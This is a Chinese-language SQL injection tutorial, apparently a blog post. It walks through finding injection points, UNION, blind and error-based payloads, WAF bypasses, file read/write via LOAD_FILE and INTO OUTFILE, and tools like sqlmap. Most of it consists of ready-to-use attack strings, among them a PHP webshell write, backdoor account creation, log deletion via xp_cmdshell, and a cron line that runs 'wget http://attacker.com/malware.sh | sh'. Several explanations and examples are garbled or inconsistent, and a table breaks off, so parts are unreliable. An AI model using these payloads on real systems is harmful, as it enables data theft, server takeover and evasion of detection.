SQL注入定义
SQL注入(SQL Injection) 是一种常见的网络安全漏洞,发生在Web应用程序未能正确过滤或验证用户输入的情况下。攻击者通过构造恶意SQL代码,将其注入到应用程序的数据库查询中,从而执行非授权的操作,如访问、修改或删除敏感数据,甚至控制服务器。
SQLInjiection攻击技术究其本质,他利用的工具是sql语法,针对的是应用程序开发者编程中的漏洞,当攻击者能操作数据,向应用程序中插入一些sql语句时,sql injection攻击就发生了,sql注入存在主要有以下几点
1,程序元水平和经验不够,对sql注入不够重视或者没有防范意识
2,现在许多教程或者模板存在sql注入漏洞
3,internet上给出的许多解决办法并未解决问题
4,数据库管理员对数据库权限设置不合理
影响与危害
- 数据泄露:攻击者获取用户密码、信用卡信息等敏感数据。
- 数据篡改:修改或删除数据库中的记录,导致数据不一致。
- 服务器控制:通过注入执行系统命令,提升权限或部署恶意软件。
- 业务中断:数据库被锁或删除,导致服务不可用。
判断sql注入是否存在
1,http://www.xxx.com/index.php?id=1'
2,http://www.xxx.com/index.php?id=2and1=1
3,http://www.xxx.com/index.php?id=2and 1=2
如果执行1后,页面报错或者提示数据库错误的话,说明是存在注入漏洞,如果执行2后页面正常显示,而执行三后,页面报错,那么说明这个页面存在注入漏洞
4,http://www.xxx.com/index.php?id=1 order by 2
5,http://www.xxx.com/index.php?id=1 order by 3
如果执行4后页面正常显示,而执行2后页面报错,那么说明这个页面存在注入漏洞
SQL注入攻击的完整步骤解析
SQL注入攻击通常遵循信息收集→漏洞探测→漏洞利用→数据提取→维持访问→掩盖痕迹的流程,详细来讲就是求闭合字符--求当前数据库名长度--求当前数据库名ascii值--求表的数量--求表明长度--求表明ascii值--求列数量--求列长度--求列ascii值--求字段数量--求字段长度--求字段ascii值以下为详细步骤与实例:
一、信息收集(Reconnaissance)
1. 确定输入点
- 目标:找到应用程序中未过滤的用户输入字段(如表单、URL参数、Cookie、HTTP头)。
- 方法:
- 手动测试:尝试在输入框中输入特殊字符(如
'、"、--),观察是否引发错误。 - 工具辅助:使用Burp Suite、OWASP ZAP等工具扫描页面,识别所有动态参数。
- 手动测试:尝试在输入框中输入特殊字符(如
- 示例:
登录页面中的username和password字段,或商品搜索框的keyword参数。
2. 识别数据库类型
- 目标:确定目标数据库类型(如MySQL、PostgreSQL、SQL Server),以便针对性构造 payload。
- 方法:
- 通过错误信息:如MySQL报错包含
MySQL关键字,PostgreSQL报错包含PostgreSQL。 - 通过特征函数:如
@@version(MySQL)、version()(PostgreSQL)。
- 通过错误信息:如MySQL报错包含
- 示例:
输入' AND 1=1 --,若返回错误信息包含MySQL,则可判断为MySQL数据库。
二、漏洞探测(Vulnerability Detection)
1. 测试注入可能性
- 目标:验证输入点是否可被注入恶意SQL代码。
- 方法:
- 输入单引号
':若引发数据库错误,说明未过滤输入。 - 输入
1=1和1=2:观察页面响应差异,判断是否存在逻辑漏洞。
- 输入单引号
- 示例:
- 正常请求:
http://example.com/user?id=1 - 注入测试:
http://example.com/user?id=1'(返回数据库错误) - 逻辑测试:
http://example.com/user?id=1 OR 1=1(返回所有用户数据)
- 正常请求:
2. 确定注入类型
- 目标:根据响应结果判断注入类型(如联合查询、盲注、堆叠注入)。
- 方法:
- 联合查询注入:尝试
UNION SELECT,若页面显示额外数据,则存在此类漏洞。 - 盲注:通过页面响应时间或内容变化推断数据,如布尔盲注、时间盲注。
- 联合查询注入:尝试
- 示例:
- 联合查询注入:
id=1 UNION SELECT 1,2,3(页面显示数字2和3,说明可提取数据) - 时间盲注:
id=1 AND IF(SUBSTRING(database(),1,1)='s', SLEEP(5), 0)(页面延迟5秒,确认首字母为s)
- 联合查询注入:
三、漏洞利用(Exploitation)
1. 提取数据库信息
- 目标:获取数据库名、版本、表结构、敏感数据等。
- 方法:
- 获取数据库名:
SELECT database() - 获取表名:
SELECT table_name FROM information_schema.tables WHERE table_schema=database() - 获取列名:
SELECT column_name FROM information_schema.columns WHERE table_name='users' - 提取数据:
SELECT username, password FROM users
- 获取数据库名:
- 示例:
通过联合查询注入:
id=1 UNION SELECT database(), user()(返回数据库名和用户)
id=1 UNION SELECT column_name, table_name FROM information_schema.columns(枚举所有列名)
2. 执行非查询操作
- 目标:修改或删除数据,甚至控制服务器。
- 方法:
- 堆叠查询注入:通过分号执行多条语句,如删除表、创建用户。
- 写入文件:利用数据库函数(如
INTO OUTFILE)将恶意代码写入Web目录。
- 示例:
- 堆叠注入:
id=1; DROP TABLE users --(删除用户表) - 写入文件:
id=1 UNION SELECT '<?php system($_GET['cmd']); ?>' INTO OUTFILE '/var/www/html/shell.php'(创建Webshell)
- 堆叠注入:
四、数据提取与控制(Data Exfiltration & Control)
1. 导出敏感数据
- 目标:将数据库中的敏感数据(如用户密码、信用卡号)导出至攻击者控制的服务器。
- 方法:
- 直接下载:通过
UNION SELECT将数据写入文件并下载。 - 远程调用:利用数据库函数(如
LOAD_FILE())读取远程文件。
- 直接下载:通过
- 示例:
id=1 UNION SELECT NULL, LOAD_FILE('/etc/passwd') INTO OUTFILE '/tmp/passwd'(将系统文件导出至临时目录)
2. 提升权限与维持访问
- 目标:获取数据库或服务器的高权限,并建立持久化访问通道。
- 方法:
- 数据库提权:通过
GRANT语句创建管理员用户。 - 服务器提权:利用数据库函数(如
xp_cmdshell)执行系统命令,安装后门。
- 数据库提权:通过
- 示例:
- 数据库提权:
'; GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'%' IDENTIFIED BY 'password'; -- - 服务器提权:
'; EXEC master..xp_cmdshell 'whoami'; --(Windows系统)
- 数据库提权:
五、维持访问与掩盖痕迹(Persistence & Covering Tracks)
1. 建立持久化访问
- 目标:确保攻击者可持续访问目标系统,即使漏洞被修复。
- 方法:
- 创建后门账户:在数据库或系统中添加隐蔽用户。
- 植入定时任务:通过
cron或Windows任务计划定期执行恶意代码。
- 示例:
- 数据库后门:
'; CREATE USER 'backdoor'@'%' IDENTIFIED BY 'pass'; -- - 系统后门:
'; INSERT INTO cron VALUES (0, 0, '*', '*', '*', 'wget http://attacker.com/malware.sh | sh'); --
- 数据库后门:
2. 清理日志与痕迹
- 目标:删除攻击痕迹,避免被检测到。
- 方法:
- 删除日志:通过SQL语句删除数据库或系统日志。
- 修改时间戳:利用工具(如
touch)修改文件时间,掩盖操作记录。
- 示例:
- 删除数据库日志:
'; DROP TABLE IF EXISTS mysql.general_log; -- - 修改系统日志:
'; EXEC master..xp_cmdshell 'del C:\Windows\System32\LogFiles\*.* /q'; --(Windows系统)
- 删除数据库日志:
SQL注入典型攻击手段
SQL注入作为Web安全领域的经典漏洞,其攻击手段不断演进,结合最新案例与技术,以下为典型攻击方式的分类与实例:
一、基础注入手段
1. 数字型注入
- 原理:利用未过滤的数字型输入字段,构造逻辑真命题绕过验证。
- 示例:
id=3 OR 1=1 -- 绕过数字型身份验证id=1 ORDER BY 10 -- 测试字段数量
2. 字符型注入
- 原理:通过单引号闭合字符串,注入恶意SQL代码。
- 示例:
username=' OR '1'='1' -- -- 绕过字符型登录验证name=' UNION SELECT 1,password FROM users -- -- 联合查询获取密码
3. 联合查询注入(UNION)
- 原理:通过
UNION合并恶意查询结果与正常结果,获取敏感数据。 - 示例:
id=1 UNION SELECT database(), user() -- 获取数据库名与用户id=-1 UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' -- 列名枚举
4. 报错注入
- 原理:利用数据库报错函数(如
floor()、ExtractValue())触发错误,回显数据。 - 示例:
and (select 1 from (select count(*),concat(floor(rand()*2),database()))a) -- floor报错and extractvalue(1, concat(0x5c, database())) -- ExtractValue报错
二、盲注技术
1. 布尔盲注
- 原理:通过页面响应的真假差异推断数据。
-
id=1' AND ASCII(SUBSTRING(database(),1,1))>100 -- 判断数据库首字母ASCII码id=1' AND (SELECT COUNT(*) FROM users)>0 -- 验证表是否存在
2. 时间盲注
- 原理:利用数据库延时函数(如
SLEEP())判断条件,适用于无回显场景。 - 示例:
id=1' AND IF(SUBSTRING(database(),1,1)='s', SLEEP(5), 0) -- 延时5秒确认首字母id=1' AND (SELECT 1 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1) -- 测试表存在性
if(payload,sleep(3),1)
时间盲注的 payload IF(payload,1,SLEEP(3)) 中,数字 1 的作用是:
作为条件为真时的“无害返回值”
- 当
payload条件为真时,IF函数会直接返回1,此时:- 数据库会立即返回结果,不会触发延迟。
- 应用程序的响应时间正常(无额外等待)。
- 当
payload条件为假时,IF函数会执行SLEEP(3),此时:- 数据库会强制等待 3 秒,导致应用程序响应延迟。
三、高级注入手段
1. 堆叠查询注入
- 原理:通过分号执行多条SQL语句,实现非查询操作(如删表、提权)。
- 示例:
id=1; DROP TABLE users -- -- 删除用户表id=1; CREATE USER 'hacker'@'%' IDENTIFIED BY 'pass' -- 创建高权限用户
2. 二次注入
- 原理:攻击数据存储后触发,常见于数据多次处理的场景。
- 示例:
-- 第一步:注入恶意数据到用户资料profile=' UNION SELECT @@version -- '-- 第二步:管理员查看资料时触发注入
四、绕过防御技术
1. 注释符混淆
- 原理:使用
/*!*/、--+等注释符绕过WAF检测。 - 示例:
id=1/*!UNION*/SELECT -- 绕过WAF对UNION的过滤id=1'--+' -- 绕过单引号闭合检测
2. 大小写混淆
- 原理:交替使用大小写字母绕过关键词过滤。
- 示例:
id=1' SeLeCt 1,password FrOm users --id=1' oR 1=1 --
3. 内联注释与编码
- 原理:通过内联注释或多次编码隐藏恶意代码。
- 示例:
id=1/*%!*/UNION/*%!*/SELECT -- 内联注释绕过id=1%2527%20UNION%20SELECT -- URL编码绕过
4. 函数替换
- 原理:使用同义词(如
substr()替换substring())绕过关键词过滤。 - 示例:
id=1' AND substr(database(),1,1)='s' -- 替换substringid=1' AND mid(database(),1,1)='s' -- 使用mid函数
五、复合攻击与工具利用
1. XSS+SQL注入
- 原理:在输入字段注入XSS脚本,收集管理凭据后执行SQL注入。
- 示例:
<script>fetch('/admin?id=1' UNION SELECT 1,password FROM users')</script>
2. SOAP/XML注入
- 原理:利用PHP SOAP扩展漏洞,构造超大XML名称触发拒绝服务。
- 示例:
$hugePrefix = str_repeat("A", 0x7fffffff);$soapVar = new SoapVar("value", XSD_STRING, null, null, "{$hugePrefix}:Element");
3. 自动化工具(SQLMap)
- 原理:通过自动化工具检测和利用注入漏洞。
- 示例:
sqlmap -u "http://example.com?id=1" --dbs -- 枚举数据库sqlmap -u "http://example.com?id=1" --dump-all -- 导出所有数据
SQL注入按数据提交方式分类详解
SQL注入攻击根据数据提交方式的不同,可分为以下几类。每种类型的攻击场景和防御措施各有特点,以下是详细解析:
一、GET提交注入
1. 定义与特点
- 定义:通过URL参数(如
http://example.com?id=1)提交数据,参数直接暴露在URL中。 - 特点:
- 可见性:参数在URL中可见,易被记录和修改。
- 常见类型:数字型或字符型注入,如
id=1 OR 1=1。 - 典型场景:分页、搜索、商品详情等通过URL传递参数的页面。
2. 示例
- 正常请求:
http://example.com/user?id=1 - 注入攻击:
http://example.com/user?id=1' UNION SELECT 1,2,3 --- 拼接后的SQL语句:
SELECT * FROM users WHERE id=1' UNION SELECT 1,2,3 -- - 效果:绕过身份验证,返回所有用户数据。
- 拼接后的SQL语句:
3. 防御措施
- 参数化查询:使用预编译语句(如
SELECT * FROM users WHERE id = ?)。 - 输入验证:限制
id参数为数字类型,过滤单引号等特殊字符。 - URL编码:对URL参数进行编码,防止特殊字符注入。
二、POST提交注入
1. 定义与特点
- 定义:通过表单数据提交,参数在HTTP请求体中,不直接显示在URL中。
- 特点:
- 隐蔽性:参数不可见,适合字符型注入(如用户名、密码字段)。
- 典型场景:登录表单、注册页面、信息修改页面。
2. 示例
- 正常请求:表单提交
username=admin&password=123456 - 注入攻击:在用户名字段输入
' OR '1'='1,密码字段随意输入。- 拼接后的SQL语句:
SELECT * FROM users WHERE username='' OR '1'='1' AND password='...' - 效果:绕过登录验证,直接登录成功。
- 拼接后的SQL语句:
3. 防御措施
- 参数化查询:使用预编译语句(如
SELECT * FROM users WHERE username = ? AND password = ?)。 - 输入验证:限制用户名和密码字段为字符串类型,过滤特殊字符。
- CSRF防护:结合CSRF令牌防止自动化攻击。
三、Cookie注入
1. 定义与特点
- 定义:利用Cookie中的字段(如
user_id、session_id)传递恶意SQL代码。 - 特点:
- 依赖性:需应用程序读取Cookie值并拼接到SQL语句中。
- 典型场景:用户登录后,通过Cookie维持会话状态的应用。
2. 示例
- 正常Cookie:
user_id=123 - 注入攻击:修改Cookie值为
user_id=1' UNION SELECT database() --- 拼接后的SQL语句:
SELECT * FROM users WHERE user_id=1' UNION SELECT database() -- - 效果:泄露数据库名称。
- 拼接后的SQL语句:
3. 防御措施
- 参数化查询:对Cookie中的值进行预编译处理。
- 输入验证:严格验证Cookie值的格式和内容。
- HttpOnly标志:设置Cookie为
HttpOnly,防止通过JavaScript读取。
四、HTTP头部注入
1. 定义与特点
- 定义:通过HTTP请求头中的字段(如
User-Agent、Referer、X-Forwarded-For)注入。 - 特点:
- 隐蔽性:头部字段常被忽略,攻击难以检测。
- 典型场景:日志记录、用户行为分析等功能依赖头部信息的场景。
2. 示例
- 正常请求:
User-Agent: Mozilla/5.0 - 注入攻击:修改
User-Agent为' AND 1=1 --- 拼接后的SQL语句:
SELECT * FROM logs WHERE user_agent='' AND 1=1 --' - 效果:绕过查询条件,返回所有日志记录。
- 拼接后的SQL语句:
3. 防御措施
- 参数化查询:对头部字段进行预编译处理。
- 输入验证:限制头部字段的长度和内容,过滤特殊字符。
- WAF防护:部署Web应用防火墙,检测异常头部请求。
五、其他提交方式
1. 混合提交
- 定义:结合GET、POST、Cookie等多种方式提交数据。
- 示例:
POST请求携带GET参数,如http://example.com?debug=true结合表单数据。 - 防御:统一对所有输入参数进行验证和过滤。
2. 边缘输入点
- 定义:利用非传统输入点(如文件元数据、特殊请求头)注入。
- 示例:在
.mp3文件的ID3标签中注入SQL代码,通过上传功能触发。 - 防御:对文件上传功能进行严格检查,限制文件类型和内容。
MYSQL注释风格
1,#号注释
# select*from user where id = 1;
2 -- 注释
-- select*from user where id = 1;
3 /* */注释
/* select*from user where id = 1; */
MYsql注入常用函数
MYsql union操作符
union操作符用于拼接两个或多个select查询语句
union中的每个查询必须有相同列数,
order by 函数
这个函数需要单独拿出来讲,在 SQL 注入攻击中,ORDER BY 子句常被用于 盲注(Blind SQLi) 或 基于报错的注入,因为它的输出结果(排序顺序)可能间接反映数据库信息。
利用 ORDER BY 的攻击方式
探测列数
通过逐步增加 ORDER BY 后的数字,判断查询结果的列数
' ORDER BY 1-- → 正常 |
' ORDER BY 2-- → 正常 |
' ORDER BY 3-- → 报错(假设表只有2列) |
- 攻击目的:确定查询结果的列数,为后续注入做准备。
字符串连接函数
1,concat(str1,str2) 直接连接
2 ,group_concat(str1,str2) 使用逗号为分隔符
3,concat_ws(str1,str2) 使用第一个参数作为分隔符
实列

| 分类 | 函数名 | 用途 | 示例 | 注意事项 |
|---|---|---|---|---|
|
信息 收集 | VERSION() | 获取MySQL版本号 | SELECT VERSION(); | 需结合版本特征判断数据库类型(如5.x与8.x差异) |
DATABASE() | 获取当前数据库名 | SELECT DATABASE(); | 盲注中常通过联合查询或报错注入提取 | |
USER() | 获取当前数据库用户 | SELECT USER(); | 结合权限判断提权可能性(如root@localhost为高权限用户) | |
| 时间盲注 | SLEEP(seconds) | 延迟执行(用于无回显场景) | SELECT IF(SUBSTRING(database(),1,1)='s', SLEEP(5), 0); | 需配合条件判断(如IF或CASE)使用,避免无差别延迟引发异常 |
| 文件操作 | LOAD_FILE(path) | 读取服务器文件内容 | SELECT LOAD_FILE('/etc/passwd'); | 需文件权限且路径可访问,Windows路径需使用双反斜杠(如C:\\Windows\\system.ini) |
INTO OUTFILE | 将查询结果写入文件(用于Webshell或数据导出) | SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'; | 需FILE权限且目标路径可写,Windows需调整路径格式(如C:\\xampp\\htdocs\\shell.php) | |
| 字符串处理 | CONCAT(str1,str2) | 拼接字符串(用于联合查询或报错注入) | SELECT CONCAT(database(), 0x3a, user()); | 0x3a为十六进制表示的冒号(:),用于分隔结果 |
SUBSTRING(str,pos,len) | 截取字符串(用于逐字符猜解) | SELECT SUBSTRING(database(),1,1); | 盲注中常与ASCII()结合使用(如SELECT ASCII(SUBSTRING(database(),1,1))) | |
| 条件判断 | IF(cond,t,f) | 条件执行(时间盲注核心) | SELECT IF(1=1, SLEEP(5), 0); | 需结合时间函数(如SLEEP)或报错函数(如FLOOR())使用 |
CASE WHEN... | 多条件分支(复杂盲注场景) | SELECT CASE WHEN (SELECT COUNT(*) FROM users) > 0 THEN 1 ELSE 0 END; | 适用于需要多条件判断的场景,如枚举表名、列名 | |
| 系统信息 | @@global.secure_file_priv | 检查文件读写权限路径 | SELECT @@global.secure_file_priv; | 若返回NULL或空值,表示禁止文件操作;返回路径则表示允许读写该目录 |
LOAD_DATA INFILE | 导入文件到数据库(需配合INTO TABLE) | LOAD DATA INFILE '/tmp/data.csv' INTO TABLE users; |
需 |
- 信息收集:通过
VERSION()、DATABASE()等函数获取数据库元数据,为后续攻击提供依据。 - 时间盲注:利用
SLEEP()配合条件判断,通过响应时间差异推断数据(如逐字符猜解密码)。 - 文件操作:通过
LOAD_FILE()读取敏感文件(如配置文件),或通过INTO OUTFILE写入Webshell实现持久化控制。 - 字符串处理:在联合查询或报错注入中,拼接或截取字符串以提取数据(如用户表结构)。
- 条件判断:结合
IF或CASE实现复杂逻辑,适用于无回显场景下的数据枚举。
常用SQL注入工具介绍
1,那肯定是人人皆知的SQLMap啦
- 功能:开源、全自动化SQL注入检测与利用工具,支持MySQL、Oracle、PostgreSQL等多种数据库。
- 特点:
- 自动识别注入点,支持GET/POST/HTTP头注入。
- 可提取数据库信息、文件甚至执行系统命令。
- 使用场景:快速检测与利用Web应用中的SQL注入漏洞。
2,Pangolin
- 多数据库支持:
- 覆盖MySQL、MSSQL、Oracle、Access等主流数据库,兼容DB2、Sybase等小型数据库。
- 攻击模块:
- 信息收集:数据库版本、用户权限、表结构枚举。
- 数据提取:联合查询、盲注、时间盲注获取敏感数据。
- 文件操作:通过
LOAD_FILE读取系统文件,INTO OUTFILE写入Webshell。
- 特色功能:
- 内网穿透:结合客户端/服务器架构,实现内网服务暴露至公网(需配置
pub_net_conf.json)。 - 模块化设计:分离客户端与服务端代码,支持分布式攻击。
- 内网穿透:结合客户端/服务器架构,实现内网服务暴露至公网(需配置
3,Havij:图形化盲注专家
- 注入技术:
- 盲注优化:时间盲注(
SLEEP函数)与布尔盲注结合,提升无回显场景效率。 - 联合查询:快速提取多表数据,支持
GROUP_CONCAT聚合。
- 盲注优化:时间盲注(
- 用户界面:
- 向导式操作:输入目标URL后,自动检测注入点并选择数据库类型(如MySQL盲注)。
- 实时反馈:扫描进度、漏洞类型、利用建议可视化展示。
- 高级功能:
- 自动化报告:生成包含漏洞详情与修复建议的PDF报告。
- 许可证管理:支持多用户协作,适合企业级安全审计。
SQL注入整形报错注入
整数报错注入(Integer-based Error Injection)是一种利用数据库对整数参数处理时的错误回显,获取敏感信息的攻击技术。
一、核心原理
- 漏洞条件:
- 参数类型为整数(如
id=1),但后端代码直接拼接用户输入到SQL语句中。 - 数据库未对输入进行过滤或参数化处理。
- 参数类型为整数(如
- 错误触发:
- 通过数学函数或表达式引发数据库报错,错误信息中泄露数据库结构或数据。
二、典型攻击步骤
1. 确认注入点
- 测试输入:
http://example.com/news?id=1+1 -- 返回正常(计算结果为2)http://example.com/news?id=1' -- 返回错误(非整数参数)- 若
1+1返回正常,说明参数为整数类型且未过滤数学表达式。
- 若
2. 触发数据库报错
- MySQL示例:
http://example.com/news?id=1 AND exp(~(SELECT * FROM (SELECT user())a))exp(710)触发浮点数溢出错误,错误信息中显示当前用户(如root@localhost)。
- PostgreSQL示例:
http://example.com/news?id=1 AND CAST((SELECT version()) AS INT)- 强制类型转换失败,错误信息泄露数据库版本。
3. 提取敏感数据
- 逐字符猜解数据库名:
http://example.com/news?id=1 AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,MID(DATABASE(),1,1),0x7e,FLOOR(RAND()*2))xFROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)- 错误信息中显示
~e~,表示数据库名首字母为e(ASCII码101).
- 错误信息中显示
三,常用报错函数
updatexml()
1. 原理
- 功能:原本用于修改XML文档中的值,但可通过构造非法XML路径触发解析错误。
- 报错机制:当第二个参数(XML路径)包含非法字符(如
0x7e即~)时,数据库返回错误信息,其中包含路径内容。
2. 示例
- 攻击Payload
http://example.com?id=1' AND updatexml(1,concat(0x7e,(SELECT DATABASE()),0x7e),1)--+ - 错误信息:
XPATH syntax error: '~test_db~' - 用途:泄露数据库名、表名、字段内容(如
users表结构)。 - 第一个参数
1- 功能:作为
updatexml()函数的占位符,无实际意义。updatexml()函数需要三个参数,但攻击者通常不关心实际的XML文档内容。这里用1作为占位符,表示一个无效的XML文档(例如字符串1不是合法的XML格式)。 -
0x7e的作用- 十六进制表示:
0x7e是字符~的十六进制编码。 - 构造非法XPath表达式:
concat(0x7e, (SELECT DATABASE()), 0x7e)会生成类似~your_database_name~的字符串。updatexml()的第二个参数需要是合法的XPath表达式,但~符号在XPath中是非法的,因此会触发错误。
- 泄露数据:MySQL的错误信息会返回XPath解析失败的位置,并显示非法表达式的内容(即
~your_database_name~),从而泄露数据库名。
- 十六进制表示:
- 功能:作为
floor()
1. 原理
- 功能:结合
rand()函数生成随机数,通过分组查询触发重复键错误。 - 报错机制:在MySQL 5.x版本中,
floor(rand(0)*2)会生成重复值,导致GROUP BY语句报错。
2. 示例
- 攻击Payload:
http://example.com?id=1' GROUP BY floor(rand(0)*2) UNION SELECT count(*),concat(user(),0x7e,version()) FROM information_schema.tables--+ - 错误信息:
Duplicate entry 'root@localhost~8.0.35' for key 'group_key' - 用途:泄露数据库用户与版本信息(需结合
UNION查询)。 -
loor(rand(0)*2)- 核心机制:利用
rand(0)的确定性随机数生成特性,结合GROUP BY触发重复键错误。 - 具体过程:
rand(0)生成固定序列:0.1552..., 0.1552..., 0.6401..., 0.1552...。floor(rand(0)*2)转换为整数:0, 0, 1, 0。- 当用于
GROUP BY时,MySQL会为每一行生成临时分组键,但rand(0)的确定性导致分组键重复,触发错误。
- 核心机制:利用
-
UNION SELECT部分 - 目的:通过错误信息泄露敏感数据。
- 关键函数:
concat(user(), 0x7e, version()):拼接当前数据库用户(如root@localhost)和版本(如8.0.35),用~(0x7e)分隔。count(*):确保与floor(rand(0)*2)的列数匹配(均为2列)。
extractvalue()
1. 原理
- 功能:从XML文档中提取值,但可通过构造非法XML路径触发解析错误。
- 报错机制:与
updatexml()类似,错误信息中包含路径内容。
2. 示例
- 攻击Payload:
http://example.com?id=1' AND extractvalue(1,concat(0x7e,(SELECT VERSION()),0x7e))--+ - 错误信息:
XPATH syntax error: '~8.0.35~' - 用途:获取数据库版本、当前用户等信息。
-
第一个参数
1- 功能:作为
extractvalue()函数的占位符,无实际意义。 - 原理:
extractvalue()需要两个参数(XML文档 + XPath表达式),但此处目的是触发错误而非解析XML,因此第一个参数可以是任意非XML字符串(如1、'a'等)。
- 功能:作为
-
第二个参数
concat(0x7e, (SELECT VERSION()), 0x7e)- 功能:构造非法XPath表达式,触发错误并泄露数据。
- 分解:
0x7e:十六进制表示的~符号,用于包裹查询结果。(SELECT VERSION()):查询数据库版本(可替换为其他敏感信息,如USER()、DATABASE())。concat():将~和查询结果拼接成字符串(如~5.7.32~)。
exp()
1. 原理
- 功能:计算指数值,当参数过大时触发浮点数溢出错误。
- 报错机制:
exp(710)在MySQL中会超出DOUBLE类型范围,错误信息中显示当前用户。
2. 示例
- 攻击Payload:
http://example.com?id=1' AND exp(~(SELECT * FROM (SELECT USER())a))--+ - 错误信息:
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~(SELECT `USER`() FROM DUAL))' - 用途:泄露数据库用户权限(如
root@localhost)。 -
子查询
SELECT * FROM (SELECT USER())a- 作用:获取当前数据库用户(如
root@localhost)。 - 执行细节:
SELECT USER()返回字符串(如root@localhost)。FROM (SELECT ...)a将结果包装为派生表a,确保语法合法性。
- 作用:获取当前数据库用户(如
-
按位取反
~- 作用:将子查询结果转换为大整数。
- 执行细节:
- MySQL将字符串隐式转换为二进制(如
root@localhost→0x726f6f74406c6f63616c686f7374)。 - 将零按位取反(
select`0→18446744073709551615)再加上函数成功执行后返回零的缘故,我们将成功执行行的函数取反就会得到最大的无符号BIGINT值. - 按位取反后得到一个极大整数。
- MySQL将字符串隐式转换为二进制(如
-
指数函数
exp()- 作用:
exp()对极大整数触发溢出错误,错误信息回显子查询内容,错误信息中暴露SELECT查询结果。
SQL注入判断注入求闭合字符
单引号
实列
$query = "select * from information where username id in '$id' limit 0,1"
假如 id = 1’ 异常 此时源代码
$query = "select * from information where username id in '1'' limit 0,1"
- 单引号闭合:用户输入的
1'导致 SQL 字符串提前闭合,生成'1''。 - 语法错误:多余的
'会使数据库抛出错误(如You have an error in your SQL syntax)。
id = 1' and 1= 1 --+正确 此时源代码
$query = "select * from information where username id = '1' and 1=1 --+' limit 0,1"
':闭合原始查询中的单引号。and 1=1:添加一个永远为真的条件,绕过身份验证。--+:注释符(--是SQL单行注释,+在URL中解码为空格),截断后续查询内容。
id = 1‘ and 1=2 --+ 错误 此时源代码
$query = "select * from information where username id = '1‘ and 1=2 --+' limit 0,1"
':闭合原始查询中的单引号。and 1=2:添加一个永远为假的条件,绕过身份验证。--+:注释符(--是SQL单行注释,+在URL中解码为空格),截断后续查询内容。
结论:极有可能存在单引号字符型sql注入
括号
实列
$query = "select * from information where username id in ($id) limit 0,1"
假如输入 id = 1)异常 此时源代码
$query = "select * from information where username id in (1)) limit 0,1"
id = 1) and 1=1 --+正确 此时源代码
$query = "select * from information where username id in (1) and 1=1 --+) limit 0,1"
id = 1) and 1=2 --+ 错误 此时源代码
$query = "select * from information where username id in (1) and 1=2 --+) limit 0,1"
结论:极有可能存在括号数字型sql注入原理同上
单引号括号
实列
$query = "select * from information where username id in ("$id") limit 0,1"
假如输入 id = 1')异常 此时源代码
$query = "select * from information where username id in ("1")") limit 0,1"
id = 1') and 1=1 --+正确 此时源代码
$query = "select * from information where username id in ("1") and 1=1 --+") limit 0,1"
id = 1') and 1=2 --+ 错误 此时源代码
$query = "select * from information where username id in ('1') and 1=2 --+') limit 0,1"
结论:极有可能存在单引号括号字符型sql注入原理同上
双引号括号
实列
$query = "select * from information where username id in ("$id") limit 0,1"
假如输入 id = 1")异常 此时源代码
$query = "select * from information where username id in ("1")") limit 0,1"
id = 1') and 1=1 --+正确 此时源代码
$query = "select * from information where username id in ("1") and 1=1 --+") limit 0,1"
id = 1') and 1=2 --+ 错误 此时源代码
$query = "select * from information where username id in ("1") and 1=2 --+") limit 0,1"
结论:极有可能存在单引号括号字符型sql注入原理同上
SQL注入读写文件
SQL注入文件读写是利用数据库函数漏洞,通过构造恶意SQL语句实现服务器文件操作。攻击者可通过以下步骤实施
- 注入点探测:通过单引号闭合原始查询,验证是否存在注入漏洞
- 函数调用:利用数据库内置函数(如MySQL的
LOAD_FILE()、PostgreSQL的COPY) - 权限突破:需数据库用户具备文件操作权限(如MySQL的
FILE权限) - 路径猜测:结合系统信息泄露漏洞获取服务器文件路径
文件读写的基本条件
1,当前用户权限对该文件可读
2,文件在该服务器上
3,路径完整
4,文件大小小于max_allowed_packet
5,当前数据库用户有file权限,file_priv为yes
6,secure_file_priv的值为null便不能写入,如果值为某目录,那么就只能对该目录的文件进行操作如果值为 ’ ‘ 便不对mysql的导入导出做限制
在mysql5.5.53中,file_priv默认为yes
#查看当前用户权限
select file_priv from mysql.user where user = 'root' and host 'localhost'
my.ini配置文件中没有max_allowed_pacaket这一项,可以通过添加来修改刻度文件大小,延后重启mysql
#修改可读文件大小
show variables like 'max_allowed_packet'
常见文件读写权限函数
1. MySQL
读取文件 LOAD_FILE.后面的路径可以是单引号,0x,char转换的字符。这里牢记路径斜杠是'/'而不是'\'.此函数也可以在sql语句where后面使用
-
SELECT LOAD_FILE('/etc/passwd'); -- 读取服务器文件- 权限要求:
- 数据库用户需拥有
FILE权限。 - 文件路径需在
secure_file_priv配置允许的范围内。
- 数据库用户需拥有
- 安全风险:攻击者可利用此函数读取敏感文件(如
/etc/shadow)。
- 权限要求:
- 写入文件:
INTO OUTFILE.后面不能直接0x开头或者char转换以后的路径,只能用单引号路径。这个问题在php注入中更加麻烦,因为会自动把单引号转义成'\'就凉凉了,关于/和\,读文件只能用/,写文件两者都可以,如果系文件用\,mysql会自动去除一个\,因此要写成\\才行SELECT '<?php system($_GET["cmd"]); ?>'INTO OUTFILE '/var/www/html/shell.php';INTO OUTFILE '\\var\\www\\html\\shell.php';- 权限要求:
- 用户需有
FILE权限。 - 目标目录需可写(如
secure_file_priv允许)。
- 用户需有
- 安全风险:攻击者可上传 Web Shell 控制服务器。
- 权限要求:
-
INTO DUMPFILE()是 MySQL 中用于将查询结果直接写入服务器文件的函数,通常用于导出二进制数据(如 BLOB 类型)。SELECT '二进制内容或HEX数据'INTO DUMPFILE '/path/to/output/file'; - 适用场景:导出无格式的二进制文件(如图片、加密数据)。
- 与
INTO OUTFILE的区别:OUTFILE函数将数据写到文件会有特殊格式转换,DUMPFILE不会添加换行符或格式,适合写入纯二进制内容。OUTFILE会按列分隔数据,适合导出文本。OUTFILE可以导出多行,而DUMPFILE只能导出一行数据,并不常用。
2. PostgreSQL
- 读取文件:
COPY TOCOPY (SELECT * FROM users) TO '/tmp/users.csv';- 权限要求:
- 用户需拥有
pg_write_server_files权限。
- 用户需拥有
- 安全风险:配合注入可导出数据到任意路径。
- 权限要求:
- 写入文件:
COPY FROMCOPY users FROM '/tmp/malicious.csv';- 权限要求:
